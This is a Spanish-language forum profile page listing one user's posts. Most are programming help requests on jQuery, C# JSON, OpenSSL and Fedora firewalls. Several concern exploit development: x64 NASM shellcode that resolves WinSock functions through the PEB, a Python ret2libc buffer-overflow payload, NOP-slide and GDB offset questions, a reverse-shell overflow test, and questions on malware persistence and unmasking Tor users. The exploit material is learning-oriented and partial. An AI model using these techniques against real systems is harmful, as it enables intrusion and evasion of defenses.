Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - proxy_lainux

#1
Hola.

Estoy aprendiendo sobre jquery y javascript, y estoy en la parte donde puedo modificar cosas sin necesidad de recargar la página,  como AJAX, pero estoy haciendo un formulario donde tengo una duda, les explico.

Tengo esta funcion que es para agregar nuevos campos al formulario.

Código: php
 
$(function(){
    let p = 0;
    $('#add').click(function(){
        p++;
        $('#tabla_dina').append('<tr id="row'+p+'">\
            <td><input type="text" class="form-control"></td>\
            <td><input type="text" class="form-control"></td>\
            <td><textarea class="form-control"></textarea></td>\
            <td><input id="B_producto" type="text" class="form-control"></td>\
            <td><input id="B_marca" type="text" class="form-control"></td>\
            <td><input id="B_modelo" type="text" class="form-control"></td>\
            <td><input id="P_precios" type="text" class="form-control"></td>\
        </tr>');
    });


Ahora deseo poder sumar todos los inputs que se hagan con id = "P_precios" y al investigar lo intente de varias formas, pero no logro hacer que se sumen todos los inputs de "P_precios", solo logro hacer que en el input de "Resultado" que esta directamente en el body del archivo, me aparezca el numero del primer campo, y cuando le doy agregar para poner otros campos, no se suman los datos de todos los "P_precio" ni se actualiza "Resultado", solo se actualiza Resultado con el primer campo pero no se suman como esperaría ni nada sin importar que haga.

Pareciera que each solo puede retomar el primer campo y no detecta los siguientes que van apareciendo cuando agrego más campos

Código: php
$(function(){
  $(document).on('input', "#P_precios", function(){
    let calc_sum = 0;
    $("#P_precios").each(function(){
      let get_v_txt = $(this).val();
      if($.isNumeric(get_v_txt)){
        calc_sum += parseFloat(get_v_txt);
        $("#s_total").val(calc_sum);
      }
    });
  });
});


¿Alguien sabe que puedo estar haciendo mal?
#2
Ok, voy a investigar lo que mencionas, al menos ya me diste una idea de que debo buscar, voy a hacer lo que me mencionas a ver como me va, sino, pues tendré que volver a preguntar jeje.

Gracias.
#3
Hola

Una pregunta, ¿cómo puedo avanzar en JSON para obtener ciertos datos?. Por ejemplo, cuando tengo algo así...

Código: csharp
{
  nombre: juan,
  apellido: penas,

}


pues solo es colocar  JsonUtility.FromJson y un string Serializable con nombre y apellido;

si tengo algo así...


Código: csharp
{
  nombre: juan,
  apellido: [{
        primero: penas,
        segundo: y penas,
}]
}


ahora es necesario usar un List para apellido e ir colocando dentro los datos de "primero y segundo" y luego con foreach voy retomando esos datos para mostrarlos.

pero, ¿cómo obtengo los datos de la lista de JSON, si es así?

Código: csharp

{
  nombre: juan,
  apellidos: {
        primero: penas,
        segundo: y penas,
    }
}


quisiera poner en un TextBox los datos de "primero y segundo", pero, ¿cómo avanzo de la primer llave a la segunda para tomar los datos?.

Lo estoy programando en C#, estoy aprendiendo a usar ese lenguaje y se me hizo interesante hacerlo con json.

Saludos.
#4
Hola.

Mientras estaba esperando alguna respuesta en un post anterior, sobre socket en x64 sobre nasm, les dejo el link por si pueden ayudarme ahí xP...
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

... estaba revisando el foro a ver que cosas nuevas se han publicado y encontre un post de d3adly, sobre " Sockets usando la red TOR C++ ", el cual se me hizo interesante ya que había usado socat y curl, pero no me había puesto a investigar como hacer esa conexión, les dejo el link también para darle credito a su trabajo...
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

... hice el mio, pero en C, y funcionó muy bien, pero me di cuenta que al usarlo en el puerto 80, causa un problema ya muy general, y es el descontinuo uso de HTTP por HTTPS, y cada que intentaba hacer una prueba con una página, me bloqueaba un firewall o simplemente no me permitia ver algo si no usaba HTTPS, solo unas cuantas páginas me permitieron el uso de HTTP, así que decidí colocarle la librería de openssl.

Se lo agregué al código, esperando que después del intercambio de handshake, se realice la petición mediante el puerto 443 a una página HTTPS, pero me aparecé un error, les dejó el código que hice.

Código: c
SSL_library_init();
SSL_load_error_strings();

SSL_CTX *ctx = SSL_CTX_new (SSLv23_client_method());
SSL *conn = SSL_new(ctx);

SSL_set_fd(conn, sock);
int err = SSL_connect(conn);

if(err<=0){
  printf("Error err= %d\n", err);
  SSL_shutdown(conn);}


se compila bien, se ejecuta bien, pero hay un problema que no logró entender; al revisar SSL_connect, me aparece un error. En la documentación de openssl, menciona que si SSL_connect regresa 0, es que no hubo exito, si regresa 1 es que hubo exito, y <0 es que hubo un error, y a mi me aparece -1, lo que significa que hubo un error en el attach de los descriptores de (conn y sock), me puse a googlear pero encontré poca información, y hubo alguien que preguntó lo mismo hace más de 1 año, les dejo el link.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Pero no tuvo muchas respuestas, segun menciona que se cierra la conexión, lo que me hace pensar que al copiar el descriptor con SSL_set_fd, posiblemente cierra la conexión inicial provocando que el descriptor que va a utilizar SSL obtenga un error.

Pero no se me ocurre que más podría ser, ya intenté cambiar un poco el código pero no lo logré, la única manera de que funcione es si ataco el descriptor de socket con el de SSL antes de que inicie, pero obviamente no sirve de nada, porque no manda nada.

Espero que alguno de ustedes sepa algo al respecto, o sepa si sock5 es o no es capaz de aceptar HTTPS, o se usa otro método y yo lo estoy intentando de una manera imposible de hacer.

Saludos.
#5

Hola, tengo una pregunta para programadores de nasm

Estoy tratando de pasarme de x32 a x64 en ASM, así que se me ocurrio hacer un socket, mediante PE... en 32bits me costo trabajo, pero después de googlear y buscar lo logré, pero ahora me esta costando trabajo ya que en 64bits hay diferencias que se me complican.

Les explico el problema y coloco el código.

Después de nuevamente googlear, y meterme un poco más en esto, logre un avance, con PE obtengo GetProcAddress, después busco Loadlibrary, ws2_32, donde obtengo WSAStartup, como podrán ver voy guardando todo en registros r13 y r14 para después usarlos.

El problema viene cuando intento ejecutar WSAStartup, eso lo podrán encontrar al final del código, uso un espacio de 0x0190, eso en 32bits, me funciona perfecto, pero en 64bits, parece que "sirve", pero en realidad no, ya que lo debuggeo, y RAX me aparece '0', y segun la documentación de Micro$oft, si el return de WSAStartup es 'zero', entonces esta bien, pero en el debuguer, RCX me aparece como un overflow RCX: 00FFFFFFFFFFFFFF

Al principio no sabía que pasaba porque RAX era zero y avanzaba hacia socket, (2,1,6), pero ahí crasheaba... eso significa que no estoy haciendo bien WSAStartup, busque en otras páginas, pero no logré, por eso acudo a ustedes, espero me puedan dar una ayuda sobre que estoy haciendo mal o talvez no lo alineo bien.

Código: asm

section .text

global _start:

_start:

sub rsp, 0x28
and rsp, 0FFFFFFFFFFFFFFF0h

xor rcx, rcx
mov rax, [gs:rcx+0x60]
mov rax, [rax+0x18]
mov rsi, [rax+0x20]

lodsq

xchg rsi, rax

lodsq

mov rbx, [rax+0x20]; MZ

xor r8, r8
mov r8d, [rbx+0x3c]
mov rdx, r8
add rdx, rbx; PE

xor rsi, rsi

mov r8d, [rdx+0x88]; offset
add r8, rbx; export

xor rsi, rsi
mov esi, [r8+0x20];offset
add rsi, rbx;table

xor rcx, rcx
inc rcx
mov r9, 0x41636f7250746547

Gta_p:
inc rcx
xor rax, rax
mov eax, [rsi + rcx * 4]
add rax, rbx
cmp QWORD[rax], r9
jnz Gta_p

xor rsi, rsi

mov esi, [r8+0x24];offset
add rsi, rbx;ordinal

mov cx, [rsi+rcx*2]
xor rsi, rsi
mov esi, [r8+0x1C];offset;
add rsi, rbx; address

xor rdx, rdx

mov edx, [rsi+rcx*4] ;offset
add rdx, rbx;getproc
mov rdi, rdx

mov rcx, 0x41797261
push rcx
mov rcx, 0x7262694c64616f4c
push rcx
mov rdx, rsp
mov rcx, rbx
sub rsp, 0x30
call rdi

add rsp, 0x30
add rsp, 0x10

mov rsi, rax

xor rcx, rcx
push rcx
mov rcx, 0x32335f327377
push rcx
mov rcx, rsp
sub rsp, 0x30
call rsi

add rsp, 0x30
add rsp, 0x10

mov r15, rax

xor rcx, rcx
mov rcx, 0x7075
push rcx
mov rcx, 0x7472617453415357
push rcx
mov rdx, rsp
mov rcx, r15
sub rsp, 0x30
call rdi

add rsp, 0x30
add rsp, 0x10

mov r13, rax;WSAStarup

xor rcx, rcx
mov rcx, 0x4174
push rcx
mov rcx, 0x656b636f53415357
push rcx
mov rdx, rsp
mov rcx, r15
sub rsp, 0x30
call rdi

add rsp, 0x30
add rsp, 0x10

mov r14, rax ;WSASocket

xor rcx, rcx
mov cx, 0x0190
sub rsp, rcx
push rsp
push rcx

call r13


Espero me puedan ayudar.

Saludos.
#6
Listo, muchas gracias.

Funcionó cuando lo desactive con systemctl stop firewalld.

no conocía lo de firewalld, pero ya logré conectarme a mi compu, solo hice una prueba con netcat, me falta hacer la prueba con con httpd pero igual ya debe funcionar, sino ya se cual es el problema.

Gracias nuevamente.
#7
Hola.

Estoy teniendo un problema con fedora, tenía fedora 31 y kali, pero por trabajo tuve que quitar kali y reinstalar windows, pase por lo de UEFI y su seguridad, pero logre instalar fedora 32 y windows en particiones diferentes.

Ahora estuve actualizandome en bootstrap que tenía un rato de no usarlo, por lo general utilizo un addon que puede modificarme el explorador para las distintas pantallas de dispositivos, pero también suelo verlo en dispositivos reales para ver si realmente se esta visualizando bien, en fedora 31 no tenía problemas, pero ahora en fedora 32 no puedo conectarme de ningún dispositivo a mi compu donde tengo el servidor.

Al principio pensé que era un bloqueo de algún addon y no, después elimine todas las reglas de iptables, le hice un completo flush y acepte conexiones entrantes y tampoco, después hice una prueba  de conexion entrante con netcat, y tampoco, sin embargo, al hacer la misma prueba con netcat desde mi compu a algun dispositivo, si funciona, unicamente las conexiones entrantes no funcionan en fedora, después se me ocurrio en Windows  instalar netcat y pude realizar conexiones entrantes y salientes sin problemas, lo que significa que fedora esta bloqueando todo lo entrante.

También por si las dudas desactive un momento SELinux, ya que a veces hay problemas con httpd.

¿Alguien sabe que más podría intentar?

Ahhh, también, intenté hacer un escaneo con nmap y me aparece como host down... y verifico con ifconfig que realmente este analizando la ip de mi compu pero me dice down cuando realmente esta activo, y con netdiscover me lo capta bien

No sé que más podría hacer, ¿alguna idea?, las pruebas las hice con wifi y ethernet, y da el mismo resultado, cualquier conexión entrante en fedora lo tiene bloqueado

Saludos.
#8
hola

los ceros no los pongo, así se establece ya... cuando hago un print en system

Código: php
print system 
$3 = {<text variable, no debug info>} 0xf7b2c700<system>

Código: php
Esto es de /bin/sh <--> 0xf7f54f48


y cuando los coloco, esos ceros cambian... en otras palabras la address de system no busca 0xf7b2c700, sino que busca 0xf7b2c748 <---- aqui donde me imagino que es el error, porque debería ir a 0xf7b2c700, pero cambian esos ceros por el 48 de la direccion de /bin/sh (0xf7f54f48 <---)...

voy a dejar un video de youtube donde esta mejor explicado
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

yo seguí un ejemplo de exploitdb, pero igual es la misma idea
#9
uso python 2.7

Código: python
#!/usr/bin/python

import struct

buff = "A"*81
buff += struct.pack("I", 0xf7b2c700) <-- system
buff += struct.pack("I", 0xf7f54f48) <--- /bin/sh

print buff


guardo el resultado en un archivo temporal... python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta > tmp

y en gdb hago las pruebas... r $(cat  tmp)

De esa manera lo hago, y como mencioné, puedo hacer el sigtrap sin problemas haciendolo de forma normal, pero de esta forma con libc, creo que el null es lo que me está perjudicando
#10
Hola

gracias, pero ese no es el problema.... para lo que mencionas utilizo el struct de python

me refiero a que a esa address que contiene cero '\x00', creo me lo toma como un null y no puedo conseguir la shell, ya que otros ejemplos tienen algo así "0xf7b2c760"... y eso más la libc de /bin /sh, hace que te de una shell

0xf7f54f48 + 0xf7b2c760 = shell

pero yo obtuve un cero que creo lo reconoce como un null, entonces queda algo así

0xf7f54f48 + 0xf7b2c700
0xf7f54f + 0xf7b2c748 ---> entonces queda la address que mal, no se si lo noten, pero el null es reemplazado por el numero continuo e incluso en gdb me sale esto

/bin/bash: aviso: sustitución de orden: se ignora byte nulo en la entrada




#11
Hola

Estaba haciendo un ejercicio sobre como hacer un exploit con return libc, pero me surgio un problema con una address, al hacer el clásico overflow, puedo conseguir un sigtrap sin problemas, pero en un tutorial que revise, menciona que hay que sacar system y la address de /bin/sh, de eso no hay problema pero resulta que la address de system contiene '00', y se reemplaza con el hex de la siguiente instruccion y me crea un error de segmentación.

system 0xf7b2c700

cuando lo coloco en python... (para esto utilizo el import struct ("I", address), solo lo coloco así para simplificar)

buff = "A"*81
buff += 0xf7b2c700
buff += "A"*4
buff += 0xf7f54f48

buff = "A"*81
buff += 0xf7b2c700
buff += 0xf7f54f48

y cuando reviso en gdb que está pasando, me aparece 0xf7b2c741 o 0xf7b2c748... lo que creo o me imagino que pasa, es que cambia la address por esos ceros de la address de system y por eso no se ejecuta ,así que me gustaría saber... ¿de qué manera podría dejar esos ceros intactos usando python - 0xf7b2c700?

saludos
#12
Dudas y pedidos generales / Duda sobre protección de Tor
Septiembre 08, 2019, 03:53:37 AM
Hola.

Hace un tiempo vi un video de una conferencia de hackers, donde exponían que era posible hackear las webs en Tor, y si, si es posible, pero también habló sobre lograr revelar las ip de los usuarios, de eso no estoy seguro.

Según en Google, encontré que es posible mediante dos formas, la primera es mediante mediante una descarga, si alguien descarga algo de un servidor, se puede saber la ip real, o con un javascript o cookie... La descarga se me hace lógica, pero, se podrá de esa manera saber la ip real?, que no esta cubierta por los inproxies?...

La segunda es instalar un servidor con un exit node, y hacer sniffing del tráfico que salga y con eso obtendría la ip real, pero me imagino que solo en caso de que alguien se conecte a Tor y busque algo en la red normal, pero si podría revelar una ip?

Que opinan?, tengo duda de eso
#13
Hola

¿Alguien sabe cuáles son las formas en como actualmente se auto ejecutan los malware?

Lo más común era hacer un registro en regedit en la zona Run, pero ya es tan viejo que actualmente ya no creo que funcione, los antivirus ya detectan las inyecciones de dll y modificar el entrypoint  de un archivo para ejecutar un código también ya está muy detectado, ¿pero de que forma se hacen persistentes los malware para auto ejecutarse en un sistema actualmente?
#14
¿Alguien sabe como puedo saber e imprimir la cantidad de bytes que tiene en total un archivo como lo haría fseek pero en asm?

Tengo un código con el que puedo leer un archivo pero lo que necesito es que sea capas de imprimir los bytes, como lo hace fseek en C

Código: asm
global _start

section .data

fl db "text.txt",0

section .bss

descr resb 4
buffer resb 1024
len equ 1024

section .text


_start:


mov eax, 5
mov ebx, fl
mov ecx, 0
int 0x80

mov [descr], eax

mov eax, 3
mov ebx, [descr]
mov ecx, buffer
mov edx, len
mov edi, edx
int 0x80


mov edx, eax
mov eax, 4
mov ebx, 1
mov ecx, buffer
int 0x80

mov eax, 6
mov ebx, [descr]
int 0x80

mov eax, 1
mov ebx, 0
int 0x80




#15
Hola

Tiene un buen rato que no intento practicar los exploit en linux, y ya no recuerdo algo que suele pasar al hacer un exploit con gdb.

Cuando cargas una app en gdb se carga en una memoria diferente a cuando se ejecuta de forma normal, y si esp se encuentra en cierta dirección, se carga diferente en memoria al ejecutarlo fuera de gdb, por ejemplo

0xffffd2fa -GDB
0xffffd25c - fuera de GDB


recuerdo que se hace una suma de algo para ejecutar un exploit... recuerdo que al principio le iba atinando poco a poco, algo así.

0xffffd25c -- 0xffffd250 -- 0xffffd24d ...etc

hasta que de repente me daba la shell

después encontre que algo se sumaba para encontrar la verdadera dirección sin tener que atinarle, funcionaba con NOP slide pero ya no recuerdo que se hacia.

¿Alguien de aqui recuerda como se encontraba la verdadera dirección de ESP de una app vulnerable fuera de GDB?

porque cuando busco esp de un buffer en gdb, encuentro ret y busco como brincar a la mitad de los nop para ejecutar la shell, dentro de GDB no hay problema pero cuando lo ejecuto fuera de GDB me dice que hay un error de segmentación y ya no recuerdo que hacia para acomodar la dirección esp y llegar a los NOP.
 
Espero alguien me pueda decir que es lo que se hace para acomodar las cosas dentro y fuera de GDB

Saludos.
#16
¿Alguien tiene algunos libros y ejercicios para practicar lenguaje arm en ensamblador?, de preferencia para android

Saludos.
#17
Hola.

Quería preguntarles, ¿qué opinan que Micro$oft e Intel están por lanzar un hardware que eliminará el ataque ROP utilizado por exploits?, ya existe el DEP, ARSL, Canaries y ahora AntiROP.

¿Creen que salga alguna nueva tecnica para exploit o eso detendra el exploit que conocemos y se volverá una técnica cada vez menos utilizada?, casi como lo que le pasó a los troyanos.
#18
Yo tenía dos cuentas de facebook, uno personal y otro escolar, apenas hace una semana decidí eliminarlos y me siento libre, aún utilizo redes sociales, pero ya en un medio más profesional que memes de facebook y me siento mejor, en verdad liberado de esa red espia.
#19
Hola

Estaba practicando los exploit en linux, y en todos me encuentro con una variante, el jmp a esp o a algun registro, usando gdb me presente con un creo "clásico" problema de que en GDB son un poco diferente los datos y posiblemente te funcione dentro de GDB pero afuera no, hay que reacomodar, a veces es cuestion de una suma o resta en calculadora, pero hay veces que debo hacerlo manualmente y es tedioso sumar y restar 1 + 1 o 1 - 1 hasta que me da la shell. Aquí es donde me viene la pregunta, ¿habrá alguna manera de lograr encontrar con exactitud el jump al buffer?, no hablo de usar metasploit, alli con pattern y msfelf lo encuentro, me refiero a la manera tradicional

Encontre que hay manera de hacerlo por fuerza bruta pero no estoy seguro que sea una buena opcion, sin embargo, lo intentare como prueba, pero quisiera saber si es posible encontrarlo con más exactitud o como lo hacen ustedes?

saludos
#20
Hola compañeros.

Estaba haciendo una prueba de overflow con conexion reverse, pero tengo un problema, a ver si alguien sabe que podría ser.

Tengo el bufferoverflow en c y en python hice el payload, etc... todo va bien, al principio hice una payload con metasploit, me funciono perfecto, pero no quise quedarme con eso nada más, así que programe en ensamblador un socket.

El programa tambíen funciona bien, sin ningun problema, lo conecto en netcat para hacer la prueba y funciona, pero aquí viene el problema.

Cuando lo ejecuto los opcodes desde python, hice un seguimiento con gdb y todo va bien, me aparece el bin/bash y regresa la conexión hacia netcat, con metasploit no tengo problema, puedo usar la conexión y mantenerla activa, pero con el de ensamblador, sí se crea una conexión con netcat, pero me sale un aviso

invalid connection to [192.168.xx.xxx] from (UNKNOWN) [192.168.xx.xxx]

y se termina la conexión... y no lo entiendo, si ejecuto directamente desde el archivo de ensamblador, se crea la conexión y se mantiene estable, lo ejecuto desde python y no me aparece mensaje de error alguno, reviso gdb y no me muestra mensaje de error, al contrario, me muestra que si se creo el bash correctamente, la conexión con netcat es correcta pero cuando se crea la conexión me dice inmediatamente invalid connection.

¿Alguien sabe que podría estar pasando?, tengo la creencia de que algo pasa en el buffer que posiblemente termina la conexión pero es solo una suposición, no creo que sea eso, ¿o a caso al final debo colocar alguna interrupción al payload?